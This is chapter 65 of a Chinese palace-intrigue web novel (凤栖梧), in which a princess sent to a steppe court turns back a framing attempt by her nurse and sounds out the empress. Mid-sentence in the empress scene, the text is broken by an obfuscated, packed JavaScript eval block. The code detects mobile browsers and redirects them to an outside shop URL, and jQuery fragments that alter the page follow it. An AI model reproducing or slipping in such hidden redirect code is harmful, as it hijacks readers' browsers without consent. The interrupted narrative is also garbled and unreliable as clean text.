65. 第 65 章

作品:《凤栖梧

    蔡嬷嬷被人推搡着滚进门来,一跤滚倒在温蘅脚边,立刻抱着她的腿大哭起来。


    温蘅还来不及听清楚她在哭嚎些什么,就听到门外全副武装的叽哩哇啦大喊一阵,然后纷纷拔刀,准备进屋里来。


    看其面色,便知来者不善。


    温蘅勉强听懂了其中几句:“把她们都绑起来!”“让大汗把她们都赶回去!”“赶回去太便宜她们了,把她们都杀了!”“听大汗的,先把她们都抓起来!”


    也听清楚了蔡嬷嬷号丧一般的哭喊。


    “公主救我啊!我怕公主口渴,于是外出跟人要水,结果东转西转,不知怎么转到一所没人看守的屋子前面。我想进去看看有没有水,这群人突然跳出来喊打喊杀!老奴就算无意中犯了什么错,也都是为了公主啊!公主救我啊!”


    她挤出来的眼泪已经流干了,脸上只剩下短短的泪痕,气势全靠嗓子里的干嚎撑着。


    温蘅试着将腿从她的双臂中拔出来,没拔动。


    她身形不动,神色亦不动,迅速组织起语言,微笑道:“这其中,是不是有什么误会?”


    侍卫们没想到异邦来的公主居然会本国的语言,蔡嬷嬷也没想到,大家不约而同都愣住了。


    过了片刻,其中一个才反应过来,指着地上的蔡嬷嬷道:“你的人,被我们发现在御书房内,打算偷盗重要文书,这是死罪。她还说,是你派她去的。”


    温蘅低头看了蔡嬷嬷一眼。


    她避开眼神,往她身后瑟缩了一下。


    “那你们从她身上,搜出什么重要文书了吗?”


    侍卫们面面相觑,片刻才道:“那倒没有。但是她被抓到的时候,正在到处乱翻,不是要偷东西是要干什么?!”


    “她在找适合存放金银的宝库。”


    在场众人闻言一愣。包括蔡嬷嬷。


    “大禮许诺陪嫁的大批金银财物,不日即将运达。这些金银财物,得先经我们清点后才能移交给贵国。在移交前,我们自然得找个稳妥的地方存放,你们说对不对?”


    先前听到温蘅能说和自己一样的语言,侍卫们对她态度已有所缓和。如今看她面带微笑,娓娓道来,一点没有皇家贵女的骄纵习气,不免好感大增,有的不不由自主点了点头。。


    温蘅正色道:“虽然没有行过大礼,但是两国已经交换过国书,我就是你们大汗亲自承认的侧妃,以后土默特就是我的家,我,就是你们的主子。我若犯了错,自有大汗和皇后来惩罚我,你们毫无凭据便喊打喊杀,这是对主子该有的态度吗?!”


    突如其来的威势令众人为之一震,蔡嬷嬷的脸色变了又变,侍卫们也踌躇起来。


    温蘅缓和了语气,又道:“我背负着两国邦交和平的使命,如果没有完成这个使命,土默特容不下我,大禮也不会接纳我,我在两国历史上都将成为罪人,你们觉得,我让我的贴身嬷嬷在皇宫内明目张胆地偷盗文书,对我有什么好处?”


    侍卫们闻言,交头接耳一番后纷纷收刀回鞘。


    之前答话的侍卫对温蘅道:“既然如此,就请殿下管束好下人,以免引起不必要的误会。”


    随即拱手告退。


    温蘅笑着目送他们离开,然后看向蔡嬷嬷。


    蔡嬷嬷松开手,从地上爬起来,理了理衣服,又理了理妆容,一点也没有方才的惊慌和狼狈。


    她向温蘅行礼,从容道:“多谢殿下相救。都怪老奴老眼昏花,一时晕了头,下次万不敢了。”


    温蘅轻笑道:“嬷嬷,如果我是你,便不会这么心急。你啊,得向屋角的蜘蛛学学,默不吭声地织一张老大的网,趁着虫子不注意,一下子就给网住了。平常扑腾多少下没用的没关系,这要那一下子成了,它就再也跑不脱了。”


    她伸手将蔡嬷嬷扶起来,“你看现在,让虫子知道了网在何处,再想网住它,可不就难了嘛。”


    她大概已经猜到,韦后是要借阿勒坦汗的手取自己的性命,还能让自己背上千古骂名,毁了温魏两家百年清誉,心思不可谓不歹毒。


    而蔡嬷嬷,就是那个替自己制造罪名的帮凶。


    蔡嬷嬷不可置信地看着她,笑眯眯的表情土崩瓦解。过了许久她才勉强扯起嘴角,扯出一个狰狞的笑容。


    “老奴,老奴实在不明白殿下在说些什么。什么蜘蛛虫子的,什么网不网的,老奴只知道一心侍奉殿下,其他的,不敢有二心。那些蠢奴才们,估计到现在还没将行李收拾出来,老奴这就去催催他们。”


    温蘅看着踉踉跄跄逃也似的奔出门去,不由想到:如果自己成功死在这里,蔡嬷嬷作为药引,估计也得陪葬。韦后许了什么好处,能让她这么心甘情愿、舍生忘死呢?


    *


    阿勒坦汗推说在外巡边久久未归,册封之礼一拖再拖。


    但是温蘅还是决定按照礼数,先去拜会土默特部的皇后,纳兰氏。


    纳兰氏是阿勒坦汗身为皇子时便为皇子妃,后一路随着他君临天下而执掌中宫。


    她的年纪与阿勒坦汗不相上下,都在五十出头,但因保养得宜,看上去只有四十余岁。


    大漠上的风霜没有在她脸上留下过多痕迹,而岁月只是平添了她的威仪。


    温蘅谒见她时,她的态度倒十分温和。先是替大汗表示歉意,又向她致以热情的欢迎,接着问候在宫中起居饮食是否适应,再聊聊两国不同风土人情——作为主人该尽的礼数都尽到了,但是要超出这个范围的,那也没有了。


    聊了好一会,温蘅清清嗓子,蔡嬷嬷适时递上茶水。


    自从上次被温蘅当面说破之后,她倒再没有其他非份之举。当然,也有可能是受了启发,正在暗中筹谋,打算对温蘅一击毙命。


    “臣妾近日在宫内闲逛,倒是觉得非常亲切。”


    “哦?”纳兰氏从榻上支起身子,一副饶有兴趣的样子。


    “这里和大禮的后宫很


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036213|182976||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    像,也有许多美丽的妃子,妃子们也都非常热情善良,让臣妾宾至如归。比如前日臣妾在御花园偶遇托博克妃子,她大方展示了身上新得的珠宝,那么大个宝石呢~她说这是大汗征战所得,满土默特部只此一颗呢。


    还有博尔济吉特妃,特地给臣妾送来了稀有的玫瑰提子,说是周边部落进贡的,只有她宫里有,臣妾还从未吃过这么甜的提子呢。”


    纳兰氏听她说完,反倒将身子躺了回去,慢悠悠喝了一口茶,才淡然道:“后宫的女人生活不易,偶尔能得点新鲜玩意,生活才有奔头,日子也好过些。”


    温蘅不死心,咬牙继续说道:“皇后娘娘真是宽仁大度,就说那件巴格拉特妃的八仙裙,周身宝石,辉煌灿烂,如果是在大禮,可只有正宫皇后才配得上呢。”


    纳兰氏对着温蘅天真烂漫的笑容,笑问道:“哦,在大禮,皇后娘娘还要和妃子们争一件裙子吗?”


    温蘅噎了一下,一时语塞。


    纳兰氏放下茶盏,继续说道:“本宫贵为土默特部的皇后,管理的可不仅仅是王宫后院,而是半个土默特部。这些莺莺燕燕之间的争奇斗艳,实在无暇理会。听说公主殿下曾在大禮肩负宰相重任,以匡扶社稷为己任,不至于到了我土默特,便南橘北枳,转了性子吧?”


    她唇角带笑,笑意却未达眼底,凌厉的眼神直直逼视着温蘅。


    温蘅心中一凛,知道对方是决意不接自己的招了。


    不愧是陪阿勒特汗统一土默特部的女人。


    温蘅强自镇定,立刻换了话题,宾主互相敷衍起来,又是一片其乐融融的景象。


    *


    皇后娘娘不接招,不代表其他娘娘就能抵挡得住温蘅的耳旁风。


    不得不说,阿勒坦汗审美品味颇高,后宫妃嫔数量不多,但是质量奇高,都是风姿绰约的大美人。


    比如托博克氏,面若桃花,唇似朱霞,一双秋水剪瞳,顾盼间潋滟生娇,媚而不俗;而博尔济吉特氏,丰腴端雅,艳而不妖,行走坐卧自有一股温婉雍容的气度;再有巴格拉特氏,容若冰雕玉琢,眼似寒潭凝霜,自带疏离之气,但其舞姿矫健轻盈,放眼整个部落无人能比。


    妃子们美得各有千秋,难分伯仲,又都是各个小部落选上来的佼佼者,难免施展浑身解数争奇斗艳,只为了多得大汗青眼,为自己,也为自己的部落,多争几分利益。


    而阿勒坦汗,为了平衡各部落势力,表现自己的大公无私,对后宫的妃子们向来雨露均沾。妃子们侍寝如同朝官轮值一般井然有序。


    只是听多嘴的小宫女说,近三月以来,不知为何大汗鲜少往后宫走动,偶尔也只是往皇后宫中稍坐坐,但也几乎不留宿。


    因此后宫妃嫔危机感四起,不是担心自己年老色爽荣宠不再,便是猜测有人暗中使诈导致圣心旁落,于是看不见的战火越烧越炽,只差一个点燃的引信。


    温蘅知道后微微一笑:我这不就来了嘛。